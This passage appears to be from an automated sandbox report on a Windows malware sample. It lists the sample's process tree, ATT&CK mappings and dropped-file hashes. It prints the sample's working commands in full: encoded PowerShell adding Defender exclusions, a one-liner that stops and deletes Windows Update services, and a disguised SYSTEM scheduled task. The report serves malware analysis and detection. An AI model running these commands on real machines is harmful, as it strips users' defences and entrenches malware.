Fp/LLRK4BLiiPvtfCpBpnfWtgjSv8=
      4⤵
      Executes dropped EXE
      PID:1700
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHAAZgAjAD4AIABBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAHIAaAByAGUAIwA+ACAALQBFAHgAYwBsAHUAcwBpAG8AbgBQAGEAdABoACAAPAAjAHYAdwBjAGYAIwA+ACAAQAAoACAAPAAjAG8AdwBqACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBnAGkAdABwACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAHgAbgBwAHEAIwA+ACAALQBGAG8AcgBjAGUAIAA8ACMAagBtACMAPgA="
    3⤵
    - Drops file in System32 directory
    PID:2340
- - C:\Program Files\Google\Chrome\updater.exe
    "C:\Program Files\Google\Chrome\updater.exe"
    3⤵
    - Executes dropped EXE
    - Drops file in System32 directory
    - Suspicious use of SetThreadContext
    PID:5768
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAHoAdQBuACMAPgAgAEEAZABkAC0ATQBwAFAAcgBlAGYAZQByAGUAbgBjAGUAIAA8ACMAbwBqACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgADwAIwBpAHQAagAjAD4AIABAACgAIAA8ACMAdAB3ACMAPgAgACQAZQBuAHYAOgBVAHMAZQByAFAAcgBvAGYAaQBsAGUALAAgADwAIwBxAGYAYgBjACMAPgAgACQAZQBuAHYAOgBQAHIAbwBnAHIAYQBtAEYAaQBsAGUAcwApACAAPAAjAGkAbAB3ACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAGoAagB1ACMAPgA="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:2700
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f & reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f & takeown /f %SystemRoot%\System32\WaaSMedicSvc.dll & icacls %SystemRoot%\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q & rename %SystemRoot%\System32\WaaSMedicSvc.dll WaaSMedicSvc_BAK.dll & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f & reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE & SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
      4⤵
      Executes a command shell one-liner
      PID:4980
    - - C:\Windows\system32\sc.exe
        
        sc stop UsoSvc
        5⤵
        Launches sc.exe
        
        PID:3484
    - - C:\Windows\system32\sc.exe
        
        sc stop WaaSMedicSvc
        5⤵
        Launches sc.exe
        
        PID:5896
    - - C:\Windows\system32\sc.exe
        
        sc stop wuauserv
        5⤵
        Launches sc.exe
        
        PID:6044
    - - C:\Windows\system32\sc.exe
        
        sc stop bits
        5⤵
        Launches sc.exe
        
        PID:568
    - - C:\Windows\system32\sc.exe
        
        sc stop dosvc
        5⤵
        Launches sc.exe
        
        PID:2116
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc /f
        5⤵
        
        PID:116
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc /f
        5⤵
        
        PID:4976
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\wuauserv /f
        5⤵
        
        PID:4216
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\bits /f
        5⤵
        
        PID:4300
    - - C:\Windows\system32\reg.exe
        
        reg delete HKLM\SYSTEM\CurrentControlSet\Services\dosvc /f
        5⤵
        Modifies registry key
        
        PID:840
    - - C:\Windows\system32\takeown.exe
        
        takeown /f C:\Windows\System32\WaaSMedicSvc.dll
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:4948
    - - C:\Windows\system32\icacls.exe
        
        icacls C:\Windows\System32\WaaSMedicSvc.dll /grant *S-1-1-0:F /t /c /l /q
        5⤵
        Possible privilege escalation attempt
        Modifies file permissions
        
        PID:3140
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AUOptions /d 2 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:1452
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v AutoInstallMinorUpdates /d 0 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:5904
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoUpdate /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:4884
    - - C:\Windows\system32\reg.exe
        
        reg add HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU /v NoAutoRebootWithLoggedOnUsers /d 1 /t REG_DWORD /f
        5⤵
        Modifies registry key
        
        PID:6084
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Automatic App Update" /DISABLE
        5⤵
        
        PID:1880
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\Scheduled Start" /DISABLE
        5⤵
        
        PID:1648
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sih" /DISABLE
        5⤵
        
        PID:4700
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\WindowsUpdate\sihboot" /DISABLE
        5⤵
        
        PID:432
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistant" /DISABLE
        5⤵
        
        PID:5860
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantCalendarRun" /DISABLE
        5⤵
        
        PID:5516
    - - C:\Windows\system32\schtasks.exe
        
        SCHTASKS /Change /TN "\Microsoft\Windows\UpdateOrchestrator\UpdateAssistantWakeupRun" /DISABLE
        5⤵
        
        PID:3584
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
      4⤵
      Power Settings
      PID:4060
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-ac 0
        5⤵
        Power Settings
        
        PID:3580
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -hibernate-timeout-dc 0
        5⤵
        Power Settings
        
        PID:220
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-ac 0
        5⤵
        
        PID:5296
    - - C:\Windows\system32\powercfg.exe
        
        powercfg /x -standby-timeout-dc 0
        5⤵
        Power Settings
        
        PID:1792
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGEAeQBlAGwAIwA+ACAAUgBlAGcAaQBzAHQAZQByAC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawAgAC0AQQBjAHQAaQBvAG4AIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBBAGMAdABpAG8AbgAgAC0ARQB4AGUAYwB1AHQAZQAgACcAIgBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzAFwARwBvAG8AZwBsAGUAXABDAGgAcgBvAG0AZQBcAHUAcABkAGEAdABlAHIALgBlAHgAZQAiACcAKQAgADwAIwBqAHcAdgAjAD4AIAAtAFQAcgBpAGcAZwBlAHIAIAAoAE4AZQB3AC0AUwBjAGgAZQBkAHUAbABlAGQAVABhAHMAawBUAHIAaQBnAGcAZQByACAALQBBAHQAUwB0AGEAcgB0AHUAcAApACAAPAAjAHYAcQAjAD4AIAAtAFMAZQB0AHQAaQBuAGcAcwAgACgATgBlAHcALQBTAGMAaABlAGQAdQBsAGUAZABUAGEAcwBrAFMAZQB0AHQAaQBuAGcAcwBTAGUAdAAgAC0AQQBsAGwAbwB3AFMAdABhAHIAdABJAGYATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAGkAcwBhAGwAbABvAHcASABhAHIAZABUAGUAcgBtAGkAbgBhAHQAZQAgAC0ARABvAG4AdABTAHQAbwBwAEkAZgBHAG8AaQBuAGcATwBuAEIAYQB0AHQAZQByAGkAZQBzACAALQBEAG8AbgB0AFMAdABvAHAATwBuAEkAZABsAGUARQBuAGQAIAAtAEUAeABlAGMAdQB0AGkAbwBuAFQAaQBtAGUATABpAG0AaQB0ACAAKABOAGUAdwAtAFQAaQBtAGUAUwBwAGEAbgAgAC0ARABhAHkAcwAgADEAMAAwADAAKQApACAAPAAjAGwAdgAjAD4AIAAtAFQAYQBzAGsATgBhAG0AZQAgACcARwBvAG8AZwBsAGUAVQBwAGQAYQB0AGUAVABhAHMAawBNAGEAYwBoAGkAbgBlAFEAQwAnACAALQBVAHMAZQByACAAJwBTAHkAcwB0AGUAbQAnACAALQBSAHUAbgBMAGUAdgBlAGwAIAAnAEgAaQBnAGgAZQBzAHQAJwAgAC0ARgBvAHIAYwBlACAAPAAjAHgAYQB2ACMAPgA7AA=="
      4⤵
      Drops file in System32 directory
      Modifies data under HKEY_USERS
      PID:1528
  - - C:\Windows\System32\svchost.exe
      C:\Windows\System32\svchost.exe vqhasrxzj0 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
      4⤵
      Executes dropped EXE
      PID:2952

C:\Program Files (x86)\Windows Portable Devices\backgroundTaskHost.exe
"C:\Program Files (x86)\Windows Portable Devices\backgroundTaskHost.exe"
1⤵
- Executes dropped EXE
PID:6008

C:\Users\Admin\Desktop\dwm.exe
C:\Users\Admin\Desktop\dwm.exe
1⤵
- Executes dropped EXE
PID:4920

C:\Recovery\WindowsRE\dllhost.exe
C:\Recovery\WindowsRE\dllhost.exe
1⤵
- Executes dropped EXE
PID:5708

C:\Windows\RemotePackages\lsass.exe
C:\Windows\RemotePackages\lsass.exe
1⤵
- Executes dropped EXE
PID:628

C:\Windows\ShellExperiences\conhost.exe
C:\Windows\ShellExperiences\conhost.exe
1⤵
- Executes dropped EXE
PID:4572

C:\Program Files (x86)\Windows Portable Devices\backgroundTaskHost.exe
"C:\Program Files (x86)\Windows Portable Devices\backgroundTaskHost.exe"
1⤵
- Executes dropped EXE
PID:1292

C:\Users\Admin\Desktop\dwm.exe
C:\Users\Admin\Desktop\dwm.exe
1⤵
- Executes dropped EXE
PID:4532

C:\Users\Default User\System.exe
"C:\Users\Default User\System.exe"
1⤵
- Executes dropped EXE
PID:2928

C:\Recovery\WindowsRE\dllhost.exe
C:\Recovery\WindowsRE\dllhost.exe
1⤵
- Executes dropped EXE
PID:4264

C:\Program Files (x86)\Internet Explorer\fr-FR\fv_fontreviewmonitordllrefsvc.exe
"C:\Program Files (x86)\Internet Explorer\fr-FR\fv_fontreviewmonitordllrefsvc.exe"
1⤵
- Executes dropped EXE
PID:1720

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\StartMenuExperienceHost.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\plug_ins\StartMenuExperienceHost.exe"
1⤵
- Executes dropped EXE
PID:1680

C:\Recovery\WindowsRE\RuntimeBroker.exe
C:\Recovery\WindowsRE\RuntimeBroker.exe
1⤵
- Executes dropped EXE
PID:2284

C:\Program Files (x86)\Windows Portable Devices\backgroundTaskHost.exe
"C:\Program Files (x86)\Windows Portable Devices\backgroundTaskHost.exe"
1⤵
- Executes dropped EXE
PID:5544

C:\Users\Admin\Desktop\dwm.exe
C:\Users\Admin\Desktop\dwm.exe
1⤵
- Executes dropped EXE
PID:4568

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

System Services

T1569

Service Execution

T1569.002

Persistence

Create or Modify System Process

T1543

Windows Service

T1543.003

Power Settings

T1653

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Privilege Escalation

Create or Modify System Process

T1543

Windows Service

T1543.003

Scheduled Task/Job

T1053

Scheduled Task

T1053.005

Defense Evasion

File and Directory Permissions Modification

T1222

Impair Defenses

T1562

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

System.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\System.exe.log
Size 1KB
SHA256 ee954c5d8156fd8890e582c716e5758ed9b33721258f10e758bdc31ccbcb1924
MD5 baf55b95da4a601229647f25dad12878
SHA1 abc16954ebfd213733c4493fc1910164d825cac8
SHA512 24f502fedb1a305d0d7b08857ffc1db9b2359ff34e06d5748ecc84e35c985f29a20d9f0a533bea32d234ab37097ec0481620c63b14ac89b280e75e14d19fd545
TLSH
T1B521CD712376B1D889163F422C5D2A8007BF0335BA50DE1CB9A9725ED9260171F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

dwm.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\dwm.exe.log
Size 1KB
SHA256 414659decfd237dde09625a49811e03b5b30ee06ee2ee97ea8bcfac394d281fd
MD5 4a667f150a4d1d02f53a9f24d89d53d1
SHA1 306e125c9edce66f28fdb63e6c4ca5c9ad6e8c97
SHA512 4edd8e73ce03488a6d92750a782cd4042fbb54a5b3f8d8ba3ea227fda0653c2cd84f0c5d64976c7cdc1f518a2fdc8ff10e2a015ec7acf3cd01b0d62bc98542d8
TLSH
T1D831EB713376F1D88D122F561C282AC407BF0325BA90DE0CB5A8625ED9364179F221F3
MD5 SHA1 SHA512 TLSH

Submit Download

fv_fontreviewmonitordllrefsvc.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\fv_fontreviewmonitordllrefsvc.exe.log
Size 1KB
SHA256 eb70c64ae99d14ac2588b7a84854fbf3c420532d7fe4dfd49c7b5a70c869943a
MD5 bbb951a34b516b66451218a3ec3b0ae1
SHA1 7393835a2476ae655916e0a9687eeaba3ee876e9
SHA512 63bcbfcf8e7421c66855c487c31b2991a989bdea0c1edd4c40066b52fa3eb3d9d37db1cd21b8eb4f33dd5870cc20532c8f485eab9c0b4f6b0793a35c077f2d6f
TLSH
T16D41BE7123B6F1D84D163F571C2C6AC403BF4729B6A0DE4CB598625EE9260579F221F3
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
TLSH
T1CE51EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 6aa59e171898b3dd42a36662ef81d349ce5063a705f1261e881269c59e7c742b
MD5 737aca23f199ce589dd1e68bc4969b98
SHA1 8c9cdd6bdf94c5fa42c5b0c29abf0136e4e6fa00
SHA512 ccc0e6fa798aeb92e6e1a14d6ef3dc23e8e829d5ffd10f11129d0e590820711e29997a761dca77b8e790b06e3c7c0d2059137f40f92543eb8048529b1b4d7817
TLSH
T104112223F38C8920CC96163A509DAC6172B586CB81EEDF9F7FC0C210A1BF584CB61294
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 fdf985fb9c56b4462675c41f68555f8762dd7043b15750968208b88be87252bc
MD5 575c67abdb0b2c72de0d9dd38b94d791
SHA1 27783f259ffd096b21c02c70cb999bf860183124
SHA512 61b23a15b52cf51b525993e8cfc0b9fd41d1bb28501c96a35f776bfa738390783ad266c2d0383a53770f3662dd118a45114d92afee63b4673e88008a6559b774
TLSH
T1A4112223F38C89A1CC961639509DAC5172B686CB81AEDEDF7FC0C210E1AF584CBA1294
MD5 SHA1 SHA512 TLSH

Submit Download

No8IXumXXG.bat

Path C:\Users\Admin\AppData\Local\Temp\No8IXumXXG.bat
Size 204B
SHA256 68e7a86fc826fc7b97214d27ea4077e486d336519c487ff23c5ac6e7d1428909
MD5 ffd2816b33fc54ff2986f9bbd16bb3dd
SHA1 d60889762cd5714038274461938e97d4bf203ee1
SHA512 ca076ddc7337adccc3c762da49bd8aed978f389ef82b3e9ff9c9b6b83bb299784b0dfe67ab88d35061be646a5f122b70538c3670acea3e7a80415b4fcd0064b9
TLSH
T14BD02262A041DA5905A24A13889E12CC562B284EF1C87A600E9A04A4BA5B0B6B28F7C1
MD5 SHA1 SHA512 TLSH

Submit Download

__PSScriptPolicyTest_2kelcyoq.15a.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_2kelcyoq.15a.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

karma_fivem.exe

Path C:\Users\Admin\AppData\Local\Temp\karma_fivem.exe
Size 660KB
SHA256 61c413248f7d4d99ca31ec5088b62ce7ad6d422e2ef3e00db2aa547415099113
MD5 d09713dd28fa82def84158f3c6e69c3e
SHA1 87bd8758d14fb01bcfb1c30caef7c231704bed7a
SHA512 759c49496775ebbd918b4a637bf08c65ed95e0163cd1115051b31d61dc4fb94e0c88fa799d160bc08966f9bfa35f92b3dc15785953b88d33e49e18e0f0b7dbe8
SSDEEP 12288:BnDOIUkWZnYzt9LW9ryq9XjFhzXGHsuCQoHzo00nMfT:BnDbUkiYztBWJ7TGHsuCQoT50nML
TLSH
T1B0E49D45B2B405FDD07B90399496A227F671781707209BEB23E40A562FBF3E05EBB712
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

conhost_fv.exe

Path C:\Users\Admin\AppData\Roaming\conhost_fv.exe
Size 2.0MB
SHA256 695385e58a4170249e69024e5fdddf2fe296594ea4bb145a9477123827bf32b2
MD5 9927ca1d71edab5d32e1a32215550fdf
SHA1 0fdb8c36fc1a7dc66bc0933c6e5edf08d237e5a4
SHA512 09d0f84e7ba97b811529d842a1e603fa9b6c249ba4bd2341e639335fcbec00c07d26190a096bbc80026a1c81bf74698b4d96dbb89530c55287962d8e0fe63db7
SSDEEP 49152:y9KiNs2QjBEnF+2dlu6uWWHZ3Hd5mKlLEHIbHhFBEDrEPrAn:astQfrfbcSKlLEHchPEmcn
TLSH
T118A5336337B0843CD1BB8E7A6DF41320C64AFFBB294A7677D8A547098508C42DBE55B8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

fv_fontreviewmonitordllrefsvc.exe

Path C:\Users\Admin\AppData\Roaming\fv_fontreviewmonitordllrefsvc.exe
Size 1.6MB
SHA256 cd7fc550473fc11bf88747fe974dbcccaa0668ff5a92fad81a94db561990e1bd
MD5 b3706b91902a5436a081473940047a55
SHA1 a38d34931567ebdf90cf1b0ba09d1d9644b3c8fd
SHA512 41d7edfaa0ebc2c825824a4b6fc52fa44c81a7cc577a6290149059f95ac9733f75fc3eff892856162198c8aab1065160937a902f6e3e2a4bc2bb3e1ea8986192
SSDEEP 24576:4Q0XqKZCRvnT4qmEfvOp3hs9cuQsYqxyqKQlZWYyuOE9JfRaqB:d1KQRJOp3a+Hi8qJWYy32
TLSH
T1F2859D027E40CA11F0185233C3FF494847B9AD516AA6E32BBDBA33AD55523A77D0D9CB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
TLSH
T10D91EF313275E1D5C8663F031A2D19D093AF4396EA54AF48B25C625EED2604BDB122F7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

updater.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\updater.exe.log
Size 738B
SHA256 5aeb6fd95411ce06e795ec25cfa6f65a0850647093035dd0845e8fe4e925d191
MD5 75787a2e03097012da47236acea10ee8
SHA1 935899c6754c6d8bef67b370261c1c59ff96ee2d
SHA512 77f2776ca9b21398fbcfd7ed232bf8956b69357bb4ac4eacbabac6b345bae82159520e6fd70d4930d2b37d1443850646e8141b93ce3c2799b55935d0238ae430
TLSH
T12201CB303365E1D849122F162C283A8813BF4359B6A0EE4CB494B26ED9365278F211E3
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 168aae57a8befce225e4b44fc30527ef6caf2c86b0c943ca5de3cd8d88123bad
MD5 4d8107e51358f29a0d5397da37799431
SHA1 26817780f99fe963d281a80991eacd2448ecb164
SHA512 7c3fad536398e7c65956a4b3438afa16b4b50e83c3c9b967a4fccf8f16e64c17861284d6a2d93520267747b95d8eee402b6a1ba29598d64a48f252a54008a384
TLSH
T147218627B3DC8A21CC86123A109D9C20767683C7819ECF9F6BC0D614A0BF9C9CB21290
MD5 SHA1 SHA512 TLSH

Submit Download

StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ba11398ce0147714059c3327ccd3f6279dc00511e6d413659137d2893ef43e22
MD5 bc2091aef8a23a49b5ad076f5e992a4e
